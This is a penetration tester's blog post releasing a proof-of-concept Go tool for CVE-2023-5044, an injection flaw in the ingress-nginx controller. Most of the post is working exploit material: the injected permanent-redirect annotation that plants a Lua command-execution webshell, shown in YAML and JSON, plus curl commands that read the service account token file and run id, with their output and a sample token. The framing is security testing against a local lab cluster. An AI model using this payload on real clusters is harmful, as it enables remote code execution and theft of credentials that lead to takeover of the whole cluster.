I was delivering a Kubernetes Security Review this week and the cluster was running version 1.7 of the ingress-nginx controller. This is affected by a few CVEs but notably CVE-2023-5044. This is a quick post about a PoC tool I’ve released to exploit it.
Background
CVE-2023-5044 allows for remote code execution within the ingress-nginx pod or at the very least, retrieval of the associated service account token. Given the RBAC permissions this service account has it is essentially game over for your cluster at this point.
The big caveat here is that you need to be able to edit an Ingress object to exploit it. So any hopes of remotely attacking a cluster without some form of initial toe hold are gone. But if we consider a very common scenario, particularly for development clusters, things look a little bit worse.
It’s a very common pattern for developers to be granted access to a specific namespace allowing them to test their own code changes in a like-live environment. This will include the ability to create pods, services, etc and often define and apply an Ingress object to expose the dev environment outside the cluster. So we are now firmly back in the realm of real world scenarios.
It’s worth pointing out that if you’re giving any user the ability to create pods in your cluster then without protections in place, you are already handing them cluster-admin but that’s something for another time.
Exploit Code
For now, let’s assume we have a user with the ability to edit an Ingress object and they want to compromise the wider cluster. As I was conducting a penetration test, I wanted to try and prove exploitation and demonstrate impact from this kind of scenario.
The CVE announcement discusses an issue with lack of validation on the permanent-redirect annotation. Hunting about for PoC code led me to Rory McCune’s blog at https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/. I’m not going to go over the contents of Rory’s excellent write up in this post, he’s nailed it and interestingly most other PoC code I’ve found is really just lifted from his blog, /flibble
and all!
I wanted to pull together some exploit code which was a bit more generic and that could be run as succinct test so I wrote a short Go program to do this and I’ve published it on our GitHub at https://github.com/4armed/cve-2023-5044.
You can install the binary using Go:
% go install github.com/4armed/cve-2023-5044@latest
You will now have a program cve-2023-5044
in your $GOPATH/bin
which, if it’s in your $PATH
then you can now just run cve-2023-5044
.
Create a Test Cluster
I’ve included a quick and dirty KinD cluster config and some YAML to deploy an ingress-nginx controller in the deploy/
folder in the repo. Change into that directory and run make up
to use it. This assumes you have KinD already set up on your machine.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
kind create cluster --config=kind.yaml --name=cve-2023-5044 && kubectl --context kind-cve-2023-5044 apply -f nginx-ingress.yaml
Creating cluster "cve-2023-5044" ...
✓ Ensuring node image (kindest/node:v1.27.3) 🖼
✓ Preparing nodes 📦
✓ Writing configuration 📜
✓ Starting control-plane 🕹️
✓ Installing CNI 🔌
✓ Installing StorageClass 💾
Set kubectl context to "kind-cve-2023-5044"
You can now use your cluster with:
kubectl cluster-info --context kind-cve-2023-5044
Not sure what to do next? 😅 Check out https://kind.sigs.k8s.io/docs/user/quick-start/
namespace/ingress-nginx created
serviceaccount/ingress-nginx created
serviceaccount/ingress-nginx-admission created
role.rbac.authorization.k8s.io/ingress-nginx created
role.rbac.authorization.k8s.io/ingress-nginx-admission created
clusterrole.rbac.authorization.k8s.io/ingress-nginx created
clusterrole.rbac.authorization.k8s.io/ingress-nginx-admission created
rolebinding.rbac.authorization.k8s.io/ingress-nginx created
rolebinding.rbac.authorization.k8s.io/ingress-nginx-admission created
clusterrolebinding.rbac.authorization.k8s.io/ingress-nginx created
clusterrolebinding.rbac.authorization.k8s.io/ingress-nginx-admission created
configmap/ingress-nginx-controller created
service/ingress-nginx-controller created
service/ingress-nginx-controller-admission created
deployment.apps/ingress-nginx-controller created
job.batch/ingress-nginx-admission-create created
job.batch/ingress-nginx-admission-patch created
ingressclass.networking.k8s.io/nginx created
validatingwebhookconfiguration.admissionregistration.k8s.io/ingress-nginx-admission created
Run the Exploit Code
Now you’re ready to run the code. You’ve got two options. In simple cases where there’s the option to create an ingress route with no TLS that can be accessed outside the cluster, you can have this tool create and deploy the Ingress object for you automatically.
Run
% cve-2023-5044 run
2024/01/17 21:53:22 INFO checking permissions
W0118 21:53:22.712700 50557 warnings.go:70] annotation "kubernetes.io/ingress.class" is deprecated, please use 'spec.ingressClassName' instead
2024/01/17 21:53:22 INFO created ingress object namespace=default name=forearmed-poc-z459f
2024/01/17 21:53:22 INFO exploit at /4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken
The path to exploit the vulnerability is output on the last line. The default command to execute in the container cats the service account token file, allowing you to authenticate to the Kubernetes API Server as the ingress-nginx
service account.
If you’re using the local KinD server config from the repo, the Ingress is exposed at http://localhost:30080 so the following cURL command can be used to retrieve the token.
% curl 'http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken'
eyJhbGciOiJSUzI1NiIsImtpZCI6IkJ3VS03RDNQNS1KdVNiZm82alhFTU1GemEyNDVNU1hCQWpjYTI0SUVCZlEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzM3MTEyODgyLCJpYXQiOjE3MDU1NzY4ODIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJpbmdyZXNzLW5naW54IiwicG9kIjp7Im5hbWUiOiJpbmdyZXNzLW5naW54LWNvbnRyb2xsZXItZmM0YmI4NWNjLTlmeHNrIiwidWlkIjoiNTc4YWM3YjEtYzI0My00ZWRjLTk0YTYtMTJlMjdkMTI5YWViIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJpbmdyZXNzLW5naW54IiwidWlkIjoiNTgzYWMwZWQtMzJkZS00OTY3LWIxNTAtN2FlYjMwNDJjMTE3In0sIndhcm5hZnRlciI6MTcwNTU4MDQ4OX0sIm5iZiI6MTcwNTU3Njg4Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmluZ3Jlc3Mtbmdpbng6aW5ncmVzcy1uZ2lueCJ9.VfXwwOtvb4EiBYXljLE1GANrHzD6OgIGWmTJgZDXd4SvNh4w3AqlTJSW97CS93LbV_5JZ94D1wwb7-FIcwIV3aAz1cY7ZfxxganQiptvtHPtwfGotB_3V6c09f2vrTVSRCo6iyQpQhYUQaXMrDMUAiho8KZt0dF9SAOrMehMVRsU9yGN9cYOOn6T4RDc_G6BlOqnayqM7wIRnLmOE3D-xiQcJiOYY3Fv75FWhf5Rek1tbcXkCpJLNBpVNcc85M1Fpyk6-28IlcQtFVVlwQubYSGyjdP-HIoVFPIJXO_XA8imy1Io_RiftT5KB-PvhSTIXnah60EAsOePt9MI5Tn
You could also run id to prove you’re in the pod.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data) groups=82(www-data)
Generate
In the more likely scenario that you need to patch an existing Ingress object or need a bit more customisation, you can just use this tool to generate a basic Ingress PoC for you.
% cve-2023-5044 generate
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/permanent-redirect: https://www.4armed.com;}location
~* "^/4armed(/|$)(.*)" {content_by_lua 'ngx.say(io.popen(ngx.unescape_uri(ngx.var.arg_cmd)):read("*a"))';}location
~* "^/" { return 404 'pwned'
creationTimestamp: null
generateName: forearmed-poc-
namespace: default
spec:
rules:
- http:
paths:
- backend:
service:
name: kubernetes
port:
number: 443
path: /doesnotmatter1705579530636408000
pathType: Prefix
status:
loadBalancer: {}
It accepts standard kubectl options so if you want json instead of yaml:
% cve-2023-5044 generate -o json
{
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"generateName": "forearmed-poc-",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"kubernetes.io/ingress.class": "nginx",
"nginx.ingress.kubernetes.io/permanent-redirect": "https://www.4armed.com;}location ~* \"^/4armed(/|$)(.*)\" {content_by_lua 'ngx.say(io.popen(ngx.unescape_uri(ngx.var.arg_cmd)):read(\"*a\"))';}location ~* \"^/\" { return 404 'pwned'"
}
},
"spec": {
"rules": [
{
"http": {
"paths": [
{
"path": "/doesnotmatter1705579564167311000",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
}
Conclusion
That’s it. Another rough and ready, Kubernetes security testing tool. We’ve got a bit of a collection going now, both public and private.
If you’d like us to have a look at the security of your Kubernetes cluster, cloud environment or web applications, please do get in touch and we’d be more than happy to assist.